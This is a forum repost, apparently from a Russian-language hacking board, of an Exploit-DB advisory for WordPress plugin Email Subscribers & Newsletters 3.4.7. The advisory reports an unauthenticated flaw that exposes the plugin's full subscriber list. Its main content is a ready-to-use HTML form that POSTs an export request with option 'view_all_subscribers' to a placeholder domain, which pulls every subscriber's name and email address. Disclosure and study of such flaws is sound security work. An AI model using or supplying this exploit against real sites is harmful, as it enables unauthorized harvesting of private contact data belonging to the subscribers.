Exploit WordPress Plugin Email Subscribers & Newsletters 3.4.7 - Information Disclosure

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
43872
Проверка EDB
  1. Пройдено
Автор
THREATPRESS SECURITY
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
N/A
Дата публикации
2018-01-24
WordPress Plugin Email Subscribers & Newsletters 3.4.7 - Information Disclosure
HTML:
# Exploit Title: WordPress Plugin Email Subscribers & Newsletters 3.4.7 - Information Disclosure
# Google Dork:
# Date: 2018-01-23
# Exploit Author: ThreatPress Security
# Vendor Homepage: http://icegram.com/
# Software Link: https://wordpress.org/plugins/email-subscribers/
# Version: 3.4.7
# Tested on: WordPress 4.9.2
# CVE :

Email Subscribers & Newsletters, a popular WordPress plugin, has just fixed
 the vulnerability that allows an unauthenticated user to download the entire subscriber 
list with names and e-mail addresses.

Exploit:

<form action="http://DOMAINTOTEST.com/?es=export" method="post">
    <input type="text" name="option" value="view_all_subscribers" />
    <input type="submit" value="Exploit" />
</form>
 
Источник
www.exploit-db.com

Похожие темы